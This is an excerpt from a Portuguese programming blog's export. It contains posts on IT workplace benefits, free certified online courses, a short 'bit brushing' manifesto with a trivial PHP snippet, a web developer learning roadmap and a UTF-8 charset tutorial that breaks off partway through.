<li>Cafeteira. Não preciso nem falar né? Ainda mais com profissionais de programação e desenvolvimento, que necessitam raciocinar bastante, geralmente acordam cedo e precisam se manter acordados e "ligados". Famosa a frase "Programador transforma café em código". Se possível ainda, colocar cafeteiras com mais de uma opção de café, como Capuccino, Mocha e Macchiato, e expressos, são upgrades muito bem aceitos!</li>
<li>Ar-condicionado. No verão a coisa fica feia, em regiões mais quentes, como o Nordeste Brasileiro, algumas regiões de São Paulo e regiões mais áridas causam sofrimento dentro das empresas. Funcionários começam a se sentir mal, cai a produtividade, perdem os raciocínios do trabalho, começa a dar muito suor e lá vai problemas... É sem dúvida uma das prioridades.</li>
<li>Possibilidade de se comunicar com colegas de trabalho e fazer pesquisas. Principalmente quando se diz respeito a aprender mais, ou tirar uma dúvida na hora de criar/desenvolver algo. Além claro daqueles minutinhos de descanso depois de concluir uma tarefa, e o funcionário não se sentir prejudicado ao conversar com outro sobre um tema qualquer.</li>
<li>Aceitação de sugestões e melhorias. Quando um funcionário bate em cima dessa tecla é porque, algo pode estar errado ou algo pode melhorar, é ideal dar atenção para que a vida de todos possam melhorar.</li>
<li>Organização quanto a tarefas. É de extrema excelência seguir padrões para desenvolvimentos, análises e gestão na hora de gerenciar uma equipe de TI que irá fazer uma determinada coisa. Ter softwares para controlar, planejar, documentar e administrar é crucial para entregar tarefas em dia.</li>
</ol>
<br />
Agora segue uma lista de benefícios que <u>agradam</u> a qualquer um, que quando colocados na empresa chamam muitos profissionais. Além de um vale alimentação <u>bom</u>, planos de saúde, vale transporte/combustível, <u>é interessante ter</u> alguns como:<br />
<br />
<ul>
<li>2 monitores para trabalhar. Quando usados em desenvolvimento de software e redes, por exemplo, facilitam pesquisas, "debugging", visualização de resultados, conexões com outras máquinas além de evitar perdas de raciocínio quando se necessita transferir dados de uma tela para outra.</li>
<li>"Hora do sono". Parece estranho, mas para quem exercitou cerca de 4 horas a mente de manhã, merece um soninho após o almoço que tal? Já pensou em reservar uma área dentro da empresa ou perto para os funcionários tirarem um cochilo? É uma ótima ideia!</li>
<li>Distribuir WiFi grátis, nem que seja em horários antes do expediente, um pouco depois, e durante o período do almoço ou café da manhã/tarde. </li>
<li>Vestimenta livre. Funcionários (principalmente os que não tem contato nenhum com clientes) adoram quando podem vir trajados como bem acharem. Roupas como sociais, gola-polo, sport-chic estão valendo já.</li>
<li>Participação de Lucros. Se sua empresa é capaz de dar este benefício ao funcionário, é certo que dará outros olhos para a empresa, e com certeza atrairá mais profissionais qualificados, eis um benefício que faz diferença.</li>
<li>Horários flexíveis. Se a empresa puder estipular horários, porém flexíveis ao funcionário, dará maior liberdade por exemplo de sair da empresa mais cedo para atender a um compromisso, resolver problemas bancários, ou comprar alguma coisa que falta em casa, contudo entra-se mais cedo na empresa ou faz-se horas extras depois para compensar. </li>
<li>Ter uma mesa livre: para o funcionário poder colocar quadros da família, ter sua própria caneca para tomar café e deixá-la ali, ter um mousepad personalizado.</li>
<li>Área de lazer: muitas empresas hoje em dia vêm colocando um pequeno espaço para descontrair: jogar vídeo-game, pebolim, sinuca, cartas entre outros, são peças fundamentais para o bom desenvolvimento de uma empresa.</li>
<li>Oferecer ao menos 1 massagem por mês para cada funcionário, com um(a) massagista contratado(a) pela empresa. Empresas grandes e bancos já fazem isso, que tal inovar?</li>
<li>Frutas! Se você puder oferecer ao longo do dia frutas para seu funcionário, poderá melhorar a alimentação dele e não deixá-lo com fome, além de estar contribuindo para a saúde física e mental dele.</li>
<li>Reservar uma cota financeira para cursos, certificações e livros. Eu já vi 6 empresas fazerem isso, e acho excelente. Vai garantir que o profissional fique muito tempo na sua empresa, vai se profissionalizar mais, ganhar mais conhecimento e dar mais moral à empresa, trazendo mais clientes.</li>
</ul>
Já pensou ter boa parte desses benefícios embutidos e vividos na sua empresa? Quem é que não vai querer trabalhar aí? ;-)<br />
<br />
Se você tem uma dica a mais comente!!!</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-74560681908038117702015-10-12T21:21:00.002-03:002015-10-29T22:48:48.941-02:00Cursos BONS Online (EAD) grátis que certificam!Primeiramente gostaria de dizer que pesquisei horrores para chegar nestas conclusões de cursos, inclusive é claro me cadastrei em DIVERSOS sites tanto nacionais quanto internacionais para avaliar as metodologias de ensino, a qualificação das empresas, críticas, prós e contras.<br />
<br />
Fiz uma postagem relacionada alguns anos atrás porém ela encontra-se desatualizada e há links no qual não concordo mais em ter e vou excluí-la.<br />
<br />
Muitas pessoas hoje em dia (principalmente as que por algum motivo não podem gastar dinheiro) querem estudar pela internet e não gastar, inclusive SEM GASTAR com o certificado. Mas como, isso é um sonho? É possível e com qualidade? A resposta é "sim", e este não é um post sensacionalista. Como falei, eu pesquisei muito antes de chegar nesta conclusão, cheguei a fazer alguns cursos nas instituições que postarei abaixo, pois eu era também uma pessoa que não tinha quase dinheiro nenhum para pagar cursos de qualidade. Sem muito mimimi segue abaixo as instituições com cursos EAD de qualidade:<br />
<br />
<a name='more'></a><br />
<br />
<ul>
<li>Escola Virtual do Bradesco: <a href="http://www.ev.org.br/Cursos/Paginas/Online.aspx" target="_blank">http://www.ev.org.br/Cursos/Paginas/Online.aspx</a> ;</li>
<li>Centro de Integração Empresa-Escola: <a href="http://www.empresas.ciee.org.br/portal/est/ead/index.asp" target="_blank">http://www.empresas.ciee.org.br/portal/est/ead/index.asp</a> </li>
<li>Fundação Getúlio Vargas: <a href="http://www5.fgv.br/fgvonline/Cursos/Gratuitos" target="_blank">http://www5.fgv.br/fgvonline/Cursos/Gratuitos</a> ;</li>
<li>SENAI: <a href="http://eadsenaies.com.br/cursos-online/#content" target="_blank">http://eadsenaies.com.br/cursos-online/#content</a> ;</li>
<li>SESI PR: <a href="http://www.eadsesipr.org.br/loja/category.php?id_category=111" target="_blank">http://www.eadsesipr.org.br/loja/category.php?id_category=111</a></li>
<li>SENAC: <a href="http://www.ead.senac.br/cursos-livres/" target="_blank">http://www.ead.senac.br/cursos-livres/</a> (clique em "gratuito");</li>
<li>SEBRAE: <a href="https://www.ead.sebrae.com.br/cursos" target="_blank">https://www.ead.sebrae.com.br/cursos</a></li>
<li>SENAR: <a href="http://www.eadsenar.canaldoprodutor.com.br/cursos/" target="_blank">http://www.eadsenar.canaldoprodutor.com.br/cursos/</a> </li>
<li>BMF&Bovespa: <a href="http://www.bmfbovespa.com.br/pt-br/educacional/cursos/cursos.aspx?idioma=pt-br" target="_blank">http://www.bmfbovespa.com.br/pt-br/educacional/cursos/cursos.aspx?idioma=pt-br</a> </li>
<li>ENAP: <a href="http://www.enap.gov.br/web/pt-br/a-distancia" target="_blank">http://www.enap.gov.br/web/pt-br/a-distancia</a></li>
<li>ESPM: <a href="http://www2.espm.br/cursos/educacao-distancia/cursos-abertos" target="_blank">http://www2.espm.br/cursos/educacao-distancia/cursos-abertos</a></li>
<li>JurisWay: <a href="http://www.jurisway.org.br/cursos/" target="_blank">http://www.jurisway.org.br/cursos/</a></li>
<li><a href="http://www12.senado.gov.br/institucional/educacao/cursos-e-oficinas/educacao-a-distancia" target="_blank">http://www12.senado.gov.br/institucional/educacao/cursos-e-oficinas/educacao-a-distancia</a></li>
<li><span id="goog_1524099993"></span><span id="goog_1524099994"></span>Einstein Hospital: <a href="http://www.einstein.br/Ensino/cursos-abertos/Paginas/cursos-abertos.aspx" target="_blank">http://www.einstein.br/Ensino/cursos-abertos/Paginas/cursos-abertos.aspx</a></li>
<li><span id="goog_1524099999"></span><span id="goog_1524100000"></span>FunenSeg: <a href="https://www.funenseg.org.br/ead/" target="_blank">https://www.funenseg.org.br/ead/</a></li>
<li>PortoGente: <a href="https://portogente.com.br/cursos" target="_blank">https://portogente.com.br/cursos</a></li>
<li>Escola Marketing Digital: <a href="https://escoladomarketingdigital.com.br/mini-cursos-gratuitos/" target="_blank">https://escoladomarketingdigital.com.br/mini-cursos-gratuitos/</a></li>
<li>Render Cursos: <a href="http://www.render.com.br/cursos/gratuitos" target="_blank">http://www.render.com.br/cursos/gratuitos</a></li>
<li>Cursos Abeline: <a href="http://www.cursosabeline.com.br/" target="_blank">http://www.cursosabeline.com.br/</a></li>
<li>Senasp EAD: <a href="https://ead.senasp.gov.br/" target="_blank">https://ead.senasp.gov.br/</a></li>
<li>Intra-EAD: <a href="https://www.intra-ead.com.br/cursos/listagem/1" target="_blank">https://www.intra-ead.com.br/cursos/listagem/1</a></li>
<li>Cursos Abrafordes: <a href="http://www.cursosabrafordes.com.br/pg-cursos" target="_blank">http://www.cursosabrafordes.com.br/pg-cursos</a></li>
</ul>
E um curso de INSS singular e único/gratis que achei por aí: <a href="https://unidadevirtual.degraucultural.com.br/lp/mini-curso-online-gratis-inss-0" target="_blank">https://unidadevirtual.degraucultural.com.br/lp/mini-curso-online-gratis-inss-0</a> <br />
<ul>
</ul>
Bons estudos!<br />
<br />
<br />
<span style="font-size: xx-small;">Pesquisas relacionadas:</span><br />
<ul>
<li><span style="font-size: xx-small;">cursos online gratis com certificado</span></li>
<li><span style="font-size: xx-small;">cursos gratis e certificação</span></li>
<li><span style="font-size: xx-small;">cursos ead com certificado </span></li>
</ul>
<br />Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-3370927311087374382.post-43738545494447880312015-10-12T20:55:00.001-03:002017-11-10T18:09:37.331-02:00É escovando bits que...<div dir="ltr" style="text-align: left;" trbidi="on">
Certo dia um cara me disse que "Escovar bits" (estudar, programar e trabalhar com linguagens de programação de níveis baixos) servia para NADA, pois bem, o manifesto é...<br />
<br />
Escovando bits que...<br />
<br />
... exploro seu software,<br />
... domino a criptografia,<br />
... arquiteto compiladores,<br />
... crio patchs,<br />
... crackeio,<br />
... entendo eletrônica digital,<br />
... modifico drives,<br />
... observo o Kernel,<br />
... revivo o passado,<br />
... aspiro a Matrix.<br />
<br />
I'm a bit brusher, my friend.<br />
<br />
<span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1"><span data-ft="{"tn":"K"}" data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body"><span class="UFICommentBody _1n4g" data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.0"><span style="color: red;"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.0.$end/=1$text2/=010"><?php</span></span><br data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.0.$end/=1$text3/=010" /><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.0.$end/=1$text4/=010"><span style="color: purple;">function</span> escovaBit(<span style="color: purple;">array</span> $phrases) {</span></span><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0"><br data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text1/=010" /><br data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text3/=010" /><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text4/=010"><span style="color: purple;"> foreach</span>($phrases <span style="color: purple;">as</span> $key => $value) </span><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text6/=010">{</span><br data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text7/=010" /><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text8/=010"> <span style="color: purple;">echo</span> <span style="color: blue;">'É escovando bits que '</span>.$value.<span style="color: blue;">"\n"</span>;</span><br data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text9/=010" /><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text10/=010"> }</span></span></span></span></span></span><br />
<span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1"><span data-ft="{"tn":"K"}" data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body"><span class="UFICommentBody _1n4g" data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0"><br /></span></span></span></span></span>
<span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1"><span data-ft="{"tn":"K"}" data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body"><span class="UFICommentBody _1n4g" data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0">}<br data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text11/=010" /><span style="color: red;"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text12/=010">?></span></span></span></span></span></span></span><br />
<span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1"><span data-ft="{"tn":"K"}" data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body"><span class="UFICommentBody _1n4g" data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3"><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0"><span style="color: red;"><br data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text13/=010" /></span><span data-reactid=".1k.1:5.0.1:$comment749753768504341_749761665170218/=10.0.$right.0.$left.0.0.1.$comment-body.0.3.0.$end/=1$text14/=010">TUDO são bits, meu caro.</span></span></span></span></span></span></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-35990498668859064722014-12-12T00:27:00.000-02:002016-06-17T22:49:05.963-03:00O que um Desenvolvedor Web precisa saber?<div dir="ltr" style="text-align: left;" trbidi="on">
Estudos tecnológicos e científicos aumentam a cada dia, progredindo em pró da sociedade (e as vezes da guerra, rs) demonstrando que a Web ainda tem um imenso potencial de crescer devido sua portabilidade e acessibilidade por meio de navegadores de Internet. <br />
Os conhecimentos medianos necessários e adequados para o desenvolvedor web ter, em ordem sequencial, está indicado abaixo pelo que necessita aprender:<br />
<ol>
<li>História da Internet e dos navegadores! Você aprenderá como surgiu seu trabalho, como se desenvolveu e os processos futuros que se vê para a programação web;</li>
<li>HTML - <i><b>H</b>yper<b><u>t</u></b>ext <b>M</b>arkup <b>L</b>anguage (Linguagem de Marcação de Hipertexto)</i> - É uma linguagem de marcação (e não de programação!) usada para construir o esqueleto e a estrutura principal das aplicações web e dos sites. É ela quem exibe o documento na web;<a name='more'></a></li>
<li>CSS - <i><b>C</b>ascading <b>S</b>tyle <b>S</b>heets (Folhas em Estilo Cascata)</i> - É uma linguagem de estilo para definir como o documento será apresentado na web. Responsável pelo design das estruturas do HTML. Quando chegar nesta etapa procure ler sobre conceitos de design, responsividade para dispositivos móveis e Flat-Design que está em alta nos dias atuais;</li>
<li>JavaScript - ou abreviado JS, é uma linguagem de programação da web, regulada pela empresa ECMA que da "vida", ação à aplicação e às paginas, fazendo com que estas possam ter movimentos e interações com o usuário. Quando chegar nesta etapa, procure aprender conceitos de orientação à objetos, e depois aprenda a usar frameworks e plugins como JQuery e AngularJS para automatizar seu trabalho com JS; </li>
<li>Uma linguagem do programação <i>server-side</i>, ou seja, que o servidor dessas páginas web executa e processa antes de disponibilizar os resultados para você. Uma boa sugestã é aprender PHP - (um acrônimo recursivo para "<i><b>P</b>HP: <b>H</b>ypertext <b>P</b>reprocessor</i>", "<i>Processador de Hipertexto</i>") - Uma das principais linguagens de programação na web. Ela processa o conteúdo enviado pelo usuário (por exemplo um formulário de contato, ou um agendamento) e exibe as informações para ele assim que sejam processados, calculadas ou inseridas no banco de dados por exemplo. Quando chegar nesta etapa, procure aprender de forma <u>completa </u>orientação à objetos, pois a orientação a objetos do JS se baseia em protótipos e não em classes (até agora, sem a nova especificação da ECMAScript 6);</li>
<li>SQL - <i><b>S</b>tructured <b>Q</b>uery <b>L</b>anguage</i> (<i>Linguagem Estruturada de Questões</i> - livremente traduzida) - É uma linguagem de banco de dados que permite armazenar dados de informações enviadas por uma linguagem de programação. É necessária quando se precisa guardar informações e dados, para serem computados ou reutilizados depois. Uma dica quando chegar aqui é usar o MySQL como linguagem SQL desenvolvimento web, em vista da grande afinidade que MySQL tem com o PHP, fora a quantidade de livros e apostilas que rondam pela web ensinando a utilizar ambos juntos;</li>
<li>XML - <i>e<b>X</b>tensible <b>M</b>arkup <b>L</b>anguage</i> (<i>Linguagem de Marcação Extensível</i>) - É uma linguagem de marcação, estruturada para armazenar, indicar ou mesmo documentar um conjunto de dados. Ex.: Uma receita, notas fiscais eletrônicas (nf-e), usar como integrações com outros softwares, arquivo de configurações, webservices, etc;</li>
<li>Aprender a desenvolver com Ajax (<i><b>A</b>synchronous <b>Ja</b>vascript and <b>X</b>ML</i>), no qual usa-se o Javascript (as)sincronamente com XML, JSON buscando dados do servidor, sem sair da página em que está, não alterando o conteúdo.</li>
<li>Aprender a usar alguns frameworks de CSS (como Bootstrap), JS (como JQuery, como citei antes), e PHP (Zend FW, CodeIgniter ou CakePHP, por ex.) para reduzir seu tempo de trabalho e melhorar o modo de trabalhar, de tal forma que garanta segurança, portabilidade, acessibilidade e eficácia tanto para o desenvolvedor quanto para o usuário. Isso acelera o desenvolvimento da aplicação.</li>
<li>Aprender configuração de servidores (como o Apache) e modificação de arquivos de configuração como o httpd.conf, php.ini, my.ini, e com certeza analisar logs.</li>
<li>Aprender a usar painéis administrativos, como cPanel, WHM e phpMyAdmin.</li>
<li>Aprender como funciona a parte de redes de computadores que faz requisições e transações de informações de HTTP;</li>
<li>Aprenda Expressões Regulares (RegEx), para fazer busca e validação de dados tanto na parte do Front-End quanto na parte do Back-End, elas irão quebrar muito o seu galho e te safar de problemas no futuro! Procure aprender as RegEx que são PCRE (Perl-compatible Reg. Exp.) primeiro;</li>
</ol>
<br />
Outra dica valiosa é para as ferramentas que você usará no processo do desenvolvimento. No começo quando aprendi HTML e CSS eu usava o bloco de notas do Windows mesmo, mas você não precisa ser tão masoquista, indico usar o Eclipse PDT ou Notepad++ que possuem syntax highlighter, que colocam cores diferentes nos tipos dos códigos para ajudar a entender a estrutura e prever eventuais erros na hora de programar.<br />
Cuidado para não ficar preguiçoso demais com softwares que escrevem sozinho partes da estrutura básica do código para você (como for, foreach, if..else), isso lhe trará péssimas consequências no futuro para lembrar de como se escreve! Até mais !</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-3370927311087374382.post-15118513430705463342014-12-06T21:58:00.001-02:002015-10-18T21:46:04.737-02:00Como resolver problemas de Charset Encoding - HTML, PHP, MySQL, JS, CSS e XML - De uma vez por todas!É comum ver aspirantes ou mesmo desenvolvedores "quebrarem a cabeça" para resolver problemas de charset/encoding, o que é uma verdadeira perda de tempo e de produção se forem seguidos os passos corretamente aqui. Acentos com caracteres e caracteres especiais se tornam códigos como ù e �.<br />
<br />
Vamos priorizar o uso da codificação padrão universal <a href="http://pt.wikipedia.org/wiki/UTF-8" target="_blank">UTF-8</a> para resolver nossos problemas de codificação.<br />
<br />
O mais importante de tudo, é na hora de <u>salvar nossos arquivos!</u> Quando criar um arquivo e salvar, salve como UTF-8 e corrija o conteúdo,<u> isso praticamente cessa o problema sem necessitar indicar "charset='utf-8' aqui e ali"!</u> Vamos aos ambientes de programação mais comuns e ver como se faz isso:<br />
<br />
<h3>
Bloco de notas:</h3>
<h3>
</h3>
Ao tentar fechar um arquivo não salvo ou clicar no item do menu "Arquivo > Salvar como..." Esta tela aparecerá:<br />
Então, salve como UTF-8.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCDBrY4wkcU2cVbDjBdo19AO1Mf5rTEyoo9IKPTK0haQ9sGBrOIK1l8yl5G9ltGMT1gCYscKBaflHkvNMoGEz7IUPnlDbGE1FTae-YYuvHh6tiNBNcl7YADNNfMeRIsb5mLmwRnzquXTHW/s1600/1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img alt="como resolver probelmas de charset" border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCDBrY4wkcU2cVbDjBdo19AO1Mf5rTEyoo9IKPTK0haQ9sGBrOIK1l8yl5G9ltGMT1gCYscKBaflHkvNMoGEz7IUPnlDbGE1FTae-YYuvHh6tiNBNcl7YADNNfMeRIsb5mLmwRnzquXTHW/s1600/1.png" title="Charset problems" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td></tr>
</tbody></table>
<h3>
<a name='more'></a> </h3>
<h3>
Notepad++:</h3>
<h3>
</h3>
No item do menu "Formatar" coloque: "<u>Codificação em UTF-8 (Sem BOM)</u>" <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTE1J2X4FE8-Seb6gWHDHr1T8SaFf8PsUxydUgbOyYaZ6yemvwDrvvKeyDs9_KM_l7VN33Y0-rkGCnVbpviv3Q4UH2h-uzH85JXBaH3YpjvoLrLPX6HywMdoTlyFrYr1dxpSh9uLF6a5Mv/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="151" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTE1J2X4FE8-Seb6gWHDHr1T8SaFf8PsUxydUgbOyYaZ6yemvwDrvvKeyDs9_KM_l7VN33Y0-rkGCnVbpviv3Q4UH2h-uzH85JXBaH3YpjvoLrLPX6HywMdoTlyFrYr1dxpSh9uLF6a5Mv/s1600/2.png" width="400" /></a></div>
<br />
Se ali dentro do arquivo já estiver com o texto em má codificação, clique em "Converter para UTF-8 (Sem BOM)" , depois corrija os erros e coloque em UTF-8 como visto acima, e já pode salvar seus arquivos tranquilamente e abri-los sem dar problema.<br />
<br />
<h3>
Eclipse:</h3>
<h3>
</h3>
Vá no item do menu "Window > Preferences", e abrirá uma janela. Nela, abra a lista "General" e clique em "Workspace", como visto abaixo. E no inferior da página mude de "Default Cp1252" ou qualquer outra opção selecionada para: "Other: UTF-8"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoRnfJXRbdCcGnDGkKusLP12kA8I-OlQPNbTEeX6CUuudP15_bJdS3fg8ZsN8yMKSMr2fxMwJixdrIXW-Sq1y9z_BjUm4hcjoSq6U689-dMAGy3QP2aTTX_1UvCHE4XdcRZoDrdkPnmY8Z/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="255" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoRnfJXRbdCcGnDGkKusLP12kA8I-OlQPNbTEeX6CUuudP15_bJdS3fg8ZsN8yMKSMr2fxMwJixdrIXW-Sq1y9z_BjUm4hcjoSq6U689-dMAGy3QP2aTTX_1UvCHE4XdcRZoDrdkPnmY8Z/s1600/3.png" width="400" /></a></div>
<br />
<br />
Assim deve servir para Sublime Text ou Netbeans...<br />
<br />
Como eu falei lá no começo, depois de salvar e corrigir o conteúdo, o problema praticamente cessa, já que o maior problema está aqui, a maneira com qual são salvas os arquivos, já que nada adianta estar tudo padronizado para receber UTF-8 e o que você escreve e salva, na verdade, está em ISO-8859-1 ou Cp1252, por exemplos. Portanto, salve sempre os arquivos de maneira correta!<br />
<br />
Vamos agora padronizar como os navegadores e visualizadores irão ler.<br />
<br />
<h3>
Páginas em HTML5:</h3>
<br />
Dentro da tag <b><head> ... </head></b> coloque: <b><meta charset="utf-8"></b> Ficando algo parecido com isso:<br />
<br />
<DOCTYPE html><br />
<html lang="pt"><br />
<head><br />
<b><meta charset="utf-8"></b><br />
<title> Seu título </title><br />
...<br />
</head><br />
<br />
<h3>
Páginas em xHTML, HTML 4.01 Trasitional, Strict e companhia:</h3>
<br />
Dentro da tag <b><head> ... </head></b> coloque: "<b><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /></b>" Sem aspas, ficando algo parecido com isso:<br />
<br />
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Strict//EN" "http://www.w3.org/TR/html4/strict.dtd"><br />
<html><br />
<head><br />
<b><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /></b><br />
<title> Seu título </title><br />
...<br />
</head><br />
<br />
<h4>
Em formulários você deve usar " <i><b>accept-charset="utf8"</b></i> " como a seguir:</h4>
<form action="exemplo.php" method="post" <b>accept-charset="utf-8"</b>> ... </form><br />
<br />
<h3>
<b>PHP:</b></h3>
<h3>
<b> </b> </h3>
Para fazer um trabalho bom no PHP, é sempre ideal colocar a função header() como descrita abaixo, no início do arquivo ou aplicação, devendo ficar assim.:<br />
<br />
<?php<b> header('Content-type: text/html; charset=utf-8');</b> ?><br />
<DOCTYPE html><br />
<html lang="pt"><br />
<head><br />
<b><meta charset="utf-8"></b><br />
<title> Seu título </title><br />
...<br />
</head><br />
<br />
Isso dirá ao servidor como o navegador deve interpretar a codificação dessa aplicação, entretanto não se torna necessário colocar essa função se o arquivo estiver realmente salvo como UTF-8.<br />
<br />
Ainda no PHP, se você faz algum arquivo de configuração, ou quer iniciar o arquivo realizando um padrão para todos, altere a configuração assim:<br />
<br />
<?php <br />
<b>ini_set('default_charset','utf-8');</b><br />
<b>mb_internal_encoding("UTF-8");</b><br />
<b>setlocale(LC_ALL, 'pt_BR.utf8');</b><br />
?><br />
<br />
Você pode usar no início da página como a função <u>header()</u> acima.<br />
<br />
<h4>
<i>Extras:</i></h4>
<h4>
</h4>
Você pode usar a função do PHP:<br />
<b>utf8_decode("texto")</b> para converter o "texto" que está em UTF-8 para ISO-8859-1;<br />
<b>utf8_encode("texto")</b> codifica a string "texto" (na codificação em que ela estiver) para UTF-8;<br />
<br />
<h4>
Alterando o MySQL pelo PHP:</h4>
Você pode alterar por SET NAMES o MySQL pelo PHP, deixando padronizado todos os nomes para UTF-8, assim:<br />
<br />
<?php <br />
<br />
$link = mysqli_connect("SeuHost", "SeuUsuário", "SenhaBancoDados","NomeDoBancoDados");<br />
<br />
/*<br />
Meu colega Jhonatta me lembrou do PDO! Se você o usa isto deve bastar :<span data-ft="{"tn":"K"}" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body"><span class="UFICommentBody" data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0"><span data-reactid=".nk.1:3:1:$comment10155004016705160_10155004382900160:0.0.$right.0.$left.0.0.1:$comment-body.0.$end:0:$2:0"> </span></span></span><br />
